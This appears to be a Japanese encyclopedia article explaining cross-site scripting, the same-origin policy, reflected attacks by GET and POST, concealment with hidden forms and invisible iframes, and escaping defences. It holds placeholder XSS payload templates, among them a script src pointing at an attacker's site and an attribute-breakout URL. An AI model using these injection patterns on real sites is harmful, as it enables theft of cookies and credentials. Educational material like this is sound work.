クロスサイトスクリプティング
クロスサイトスクリプティング(cross-site scripting)とは、Webアプリケーションの脆弱性もしくはそれを利用した攻撃。脆弱性をツリー型に分類するCWEではこの攻撃を不適切な入力確認 (CWE-20) によるインジェクション (CWE-74) のひとつとして分類している (CWE-79)。略称はXSS。かつてはCSSという略称も使われていたが、Cascading Style Sheetsと紛らわしいのでこの略称はあまり使われなくなった。
「クロスサイト(サイト横断)」という名称は歴史的なもので、初期に発見されたXSSでは脆弱性のあるサイトと攻撃者のサイトを「サイト横断的」に利用して攻撃を実行することから名づけられたものだが、XSSの定義は新しいタイプの攻撃が見つかるたびに拡張され、サイト横断的なものでなくともXSSと呼ぶようになった。
この拡張された定義においてXSS攻撃とは、攻撃者の作成したスクリプトを脆弱性のある標的サイトのドメインの権限において閲覧者のブラウザで実行させる攻撃一般を指す。斜体で書いた部分がXSS攻撃の重要な特徴であり、この特徴により標的サイトの権限がないと実行できないようブラウザが制限している(同一生成元ポリシー)はずの行動を、攻撃者に実行可能にしてしまう。
XSSについて述べる前に、ウェブサイトの仕組みについて簡単に復習する。JavaScriptのようなクライアントサイドのスクリプトは、ウェブサイトが閲覧者が取った行動(例えばフォーム に何を記載したか)を変数の形で取得し、取得した変数値に応じて動的にHTMLを生成する。
セキュリティの観点から見た場合スクリプトには非常に強い権限が与えられている為、これを悪用された場合には大きな危険を伴う事になる。具体的にはスクリプトを使えばブラウザに保管されているcookieの内容を読み書きする事も可能であるし、ログイン時にはサイトからユーザ固有の情報を読み書きする事も可能である。さらにはそうした情報を別のサイト(例えば攻撃者のサイト)に転送する事も可能である。
こうした事情によりウェブブラウザには同一生成元ポリシーという、スクリプトの悪用を制限するためのポリシーが実装されている。このポリシーは、「ウェブページ1に記載されたスクリプトがそれとは別のウェブページ2に関するデータにアクセスできるのは、ページ1と2が同一の「オリジン」にある場合のみである」とするものである。ここでページ1と2のオリジンが同一であるとは、1と2のプロトコル、ホスト名、ポート番号が一致する事を指す。
多くのケースにおいて同一のウェブサイト上にあるページは同一のホスト上において同一のプロトコル(http)と同一ポート番号(80番)で動作するものなので、同一生成元ポリシーはウェブサイトを構築する上であまり邪魔にならない。しかし攻撃者が全く別のサイトからスクリプトによってデータを不正に読み取ろうとしたとしても同一生成元ポリシーがこれを妨げるのでセキュリティは担保される。
XSS攻撃は、ウェブサイト(標的サイト)の脆弱性(XSS脆弱性)を利用する事で、標的サイトの権限で悪意のあるコンテンツ(多くの場合スクリプト)を実行する事を目的として行われる。悪意のあるコンテンツは標的サイトの権限で実行されるので、同一生成元ポリシーによる制限が迂回される。これを悪用する事により攻撃者は標的サイトを閲覧したユーザ(=被害者)のcookieを盗むなど、様々な攻撃を行う。
CWE-79ではXSS攻撃を以下のような攻撃として特徴づけており、XSS脆弱性をXSS攻撃を可能にする脆弱性として特徴づけている。XSS攻撃を行う攻撃者は標的サイトへのデータ入力経路に不正なデータを注入(インジェクション)する。ここでいう「データ入力経路」は正規のユーザのために用意された入力経路(例えばフォーム)の場合もあればそうでない場合もあり、標的サイトのウェブアプリケーションへのWebリクエスト全般が狙われる。また不正なデータはスクリプトなどWebブラウザで実行可能な悪意のあるコンテンツを含んだものが用いられる。
このインジェクションの結果、標的サイトのウェブサーバが攻撃者の用意した不正データを含んだウェブページを動的に生成する。この生成されたウェブページを被害者となるユーザが閲覧すると、不正なデータに含まれる悪意のあるコンテンツが標的サイトの権限により被害者のブラウザ上で実行され、攻撃が成功する。
XSS攻撃に用いる「Webブラウザで実行可能なコンテンツ」は何らかのスクリプトである事が多いので、本稿では以下、特に断りがない限りスクリプトのケースについて述べる。
本節ではXSS脆弱性とXSS攻撃の詳細を具体例を通して述べる。
すでに述べたように、ウェブサイトではユーザがフォームなどで入力した値を変数として持ち、変数にセットされた値に応じてその後の動的なページ内容の生成が行われ、その際には変数値そのものがページに表示されることもある。XSS脆弱性の簡単な例としてはユーザが値を決定できる変数値を加工せずそのままウェブページに表示(エコーバック)してしまうというものがある。具体的には以下のようなシチュエーションでXSS脆弱性が生じる事が多い:
ユーザが入力した内容の確認・訂正させるページ
そこで最初に挙げた確認ページのシチュエーションにおける脆弱性を利用したXSS攻撃の例を述べる。今、標的サイト example.comのウェブページにユーザの性別を選択させるフォームがあり、そのページではユーザが選択した値("man"もしくは"woman")を変数genderにそのまま保管し、genderの内容を以下のようにそのまま表示する事でフォームの内容をユーザに再確認させるページを動的に生成するとする(再確認ページのURLはフォームのあるページのURLと同一でも異なってもよい)。
というスクリプトが書かれていた場合である。
このようなページにおいて、攻撃者が何らかの方法でgenderの値を
gender=<script>(悪意のあるスクリプト)</script>
にセット(=スクリプトのインジェクション。 詳細後述)し、この状態で被害者となるユーザがこのページにアクセスしてしまうとXSS攻撃は成功となる。
実際、標的サイトのウェブページには、変数genderの値をそのまま表示するページを動的に生成してしまうという脆弱性があるので、攻撃者が前述のようにgenderをセットした状態で被害者となるユーザがこのページを閲覧してしまうと、ウェブサイトは動的に生成したHTML
入力した性別は以下のもので正しいでしょうか:
<script>(悪意のあるスクリプト)</script>
を被害者のブラウザに送りつけてくるため、悪意のあるスクリプトが被害者のブラウザ上で自動的に実行されてしまう。
なお、ウェブサイトの作者がgenderの値としてフォームに準備した値が「man」と「woman」の2つだけだったとしても、実際にgenderにセットされた値が「man」か「woman」のいずれかであることを、ウェブサイトを置いているサーバ側でチェックしない限り、攻撃者はそれ以外の値(=悪意のあるスクリプト)にgenderをセット可能である。
次に攻撃者が悪意のあるスクリプトをインジェクションする方法を述べる。方法はウェブページにどのようなXSS脆弱性が存在するのかに依存するので、ここではフォームの入力値の2通りの送信方法(GETメソッド、POSTメソッド)に応じてインジェクション方法を2通り述べる。
なお、ここで説明する例はいずれも、後述するXSSの分類では「反射型」に属する。
GETメソッドでは変数の値がURLに明記されるので、フォームの内容をユーザに再確認させるページのURLは
http://example.com/?gender=(フォームで入力した値)
のような形になっている。
そこで攻撃者は被害者となるユーザに以下のURLにアクセスするよう何らかの方法(たとえばexample.comを装った罠メールにこのURLを記載)で促す:
http://example.com/?gender=<script>(悪意のあるスクリプト)</script>
するとgenderが悪意のあるスクリプトにセットされたページを被害者が閲覧することになるので、攻撃が成功したことになる。
ここで重要なのは、上記のURLが「http://example.com/」から始まる事である。これが原因でユーザはexample.comの何ら問題のないWebページだと誤解してしまい、上記のURLをクリックしてしまう可能性がある。
なお、ここでは悪意のあるスクリプトを標的サイトのURLに埋め込む方法を紹介したが、URLの長さには上限がある関係上、埋め込めるスクリプトの長さが制限されてしまうため、攻撃者が行える攻撃の種類が制限されてしまう。
長さに制限のないスクリプトを埋め込むには、攻撃者は自分のサイトを立ち上げ、そこに悪意のあるスクリプト「http://(攻撃者のサイト上の悪意のあるスクリプト)」をおいた上で、被害者に
http://example.com/?gender=<script src="http://(攻撃者のサイト上の悪意のあるスクリプト名)"></script>
を閲覧させればよい。
ただしこちらの攻撃の場合、攻撃者のサイトのURLがウェブサーバのログに残るため、これを手がかりにサーバ管理者が攻撃者を特定できる可能性がある。したがって攻撃者は自身のサイトの場所を頻繁に変えるなど追跡の手を逃れる手段を講じる必要がある。
上述したGETメソッドの例ではURLに変数の値がそのまま表示されている事が攻撃者にXSS攻撃を可能にしてしまった原因の一つである。しかしURLに変数の値が表示されないPOSTメソッドを使った場合でもXSS攻撃が可能である。以下、POSTメソッドを前提にして話をすすめるが、GETメソッドに対しても同様の方法でインジェクションが可能である。
標的サイトにXSS攻撃を仕掛けるため、攻撃者は自身でウェブサイト(罠サイト)を立ち上げ、そこに以下のようなHTMLを書く:
<form action="http://example.com/" method="POST" name ="hoge">
<input type="hidden" name="gender" value='<script>(悪意のあるスクリプト)</script>'>
</form>
<script>document.hoge.submit()</script>
被害者が罠サイトを表示してしまうと、フォームhogeのinput文においてgenderが(悪意のあるスクリプト)にセットされた状態で標的サイト「http://example.com/」が表示されてしまうので、被害者のブラウザで悪意のあるスクリプトが実行されてしまう。
しかもこのinput文はhidden指定なのでgenderの値は被害者のブラウザ上に表示されず、被害者はこの事実に気づかない。
上で説明した「GETメソッドのみに適用できる例」ではユーザがアクセスした攻撃用サイトには「入力した性別は以下のもので正しいでしょうか」といった文章が表示されてしまうため、攻撃を受けたことにユーザが気づいてしまう可能性があるが、攻撃者が悪意のあるスクリプト部分の冒頭にというJavaScriptを記載しておけば、HTML本文が完全消去されるため、上述のような不自然な文章は表示されない。
これに続けて(JavaScriptのdocument.writeメソッドを使って)攻撃に必要な内容をスクリプト部分に自由に記述可能となる。
別の隠蔽工作方法として、罠サイトでHTMLのiframeタグとCSSを用いるというものがあり、この方法には攻撃者にとって上で述べた隠蔽工作とは違った利点がある(詳細後述)。なおiframeとはウェブページを入れ子にするためのHTMLタグで、ウェブページA上にウェブページBのURLを指定したiframeタグを書くと、A上に四角いフレームができ、その中にBの内容が表示される。これを利用して攻撃者は以下のように隠蔽工作を図る。
まず攻撃者は罠サイトのページAにiframeタグを書くことで、悪意のあるスクリプトを埋め込んだ標的サイトのURLを読み込む。具体的には、ページAに
<iframe src=http://example.com/?gender=<script>(悪意のあるスクリプト)</script>></iframe>
と記載する。
さらにCSSを書くことでiframeの内容が表示されたフレームがAの閲覧者には見えないようにする。この状態で被害者を誘導してページAを開かせると、iframeにより自動的に悪意のあるスクリプトを埋め込んだ標的サイトが読み込まれるので、攻撃が成功する。
この隠蔽工作の利点は、攻撃に用いたiframeはCSSで隠しているので、標的サイトと全く無関係に見える罠サイトを被害者が開いただけで攻撃が完了し、しかも罠サイトのURLにも不自然なところはないので、被害者にとって罠サイトと通常サイトを見分ける手段が無いことである。
「GETメソッド、POSTメソッド双方に適用できる方法」に対しても同様にiframeとCSSで隠蔽工作が可能である。こちらの場合、攻撃用のフォームを書いたページBを罠サイトに作成し、BをiframeでページAに読み込んだ上でCSSによりiframeを隠せばよい。
被害者がページAを閲覧すると、iframe内は悪意のあるスクリプトを埋め込んだ標的サイトに遷移するという不自然な動きをするが、CSSでiframeを隠しているので被害者はこのことに気づかない。
XSS攻撃に用いる「Webブラウザで実行可能なコンテンツ」の例として、CWE-79では以下のものを挙げている:
HTML タグ
HTML アトリビュート
HTML内には攻撃者が悪意のあるスクリプトをインジェクションし得る箇所として以下のものがある:
フォームなど変数の値を入力可能な場所(前述)
<script></script>の内部、および<script></script>のURLのリモート参照
タグのstyle属性およびイベントハンドラ属性中のスクリプト記述。具体的にはや、等。
URLを属性値として取れる要素、およびそこでのスクリプト直接記述。
具体的にはa要素のhrefとimg、frameとiframeのsrc属性。
2.の場合、URLとして「javascript:(JavaScript文)」の形式(javascriptスキーム)を利用してJavaScriptを注入することができる。
攻撃者はXSSを用いることで、例えば以下の様な被害を発生させられる:
ウェブサイトの改竄(ただし攻撃者が準備したURLからアクセスした場合のみ)
悪意のあるスクリプトによりWebページを改ざんする事でパスワードやクレジットカード番号を入力するフォームをWebページに追加し、ユーザからこれらの情報を盗む(フィッシング 詐欺)
悪意のあるスクリプトを使ってブラウザの脆弱性を突き、ユーザ端末を乗っ取る
攻撃者は標的サイトexample.comで任意のスクリプトを実行可能なので例えばスクリプトに以下の様なhtmlのフォームを生成させる事でユーザが入力したID/パスワードを攻撃者のサイトに転送させる事ができる:
ログインしてください:
<form>
ID <input>
パスワード <input>
</form>
すでに述べたように、XSSへの対策としてはユーザからフォームの値を取得した際、htmlで特別な意味を持つ記号を以下のように別の記号に置き換える(エスケープ処理をする)という方法がある:
「<」 → &lt;
「>」 → &gt;
「"」 → &quot;
…
このようにすると攻撃者が攻撃用スクリプトを埋め込むのに利用したhtmlのタグ「<script>」は「&lt;script&gt;」という無害な文字列に置き換わってしまうので上述したXSS攻撃を回避できる。
なおエスケープ処理は例えばPHPのhtmlspecialchars関数を利用する事で実現可能である。
しかしこのような対策には限界があり、#インジェクション箇所で述べた、スクリプトが直接記述可能な箇所やURLを記述可能な箇所に対しては、この対策は効かない。
エスケープが必要な記号として、「<」、「>」、「"」などがある。「<」と「>」をエスケープする必要がある理由の一つはすでに具体例で挙げたように「<script>」を無効にするためである。「"」をエスケープする理由は以下で述べる。
HTML中で属性値を引用符でくくっていても適切な対策(属性値中で引用符「"」をエスケープ)をしない限り、XSS対策にならない。たとえば
<input type="text" name="gender" value="inputval">
http://example.com/?name="+onmouseover%3d"(悪意のあるスクリプト)
というURLを被害者にクリックさせると、被害者のブラウザでは(HTML中では%3dが「=」に変換されるので)
<input type="text" name="gender" value=""onmouseover="(悪意のあるスクリプト)">
となってしまうので、onmouseoverイベントハンドラによりマウス移動時に悪意のあるスクリプトが実行されてしまう。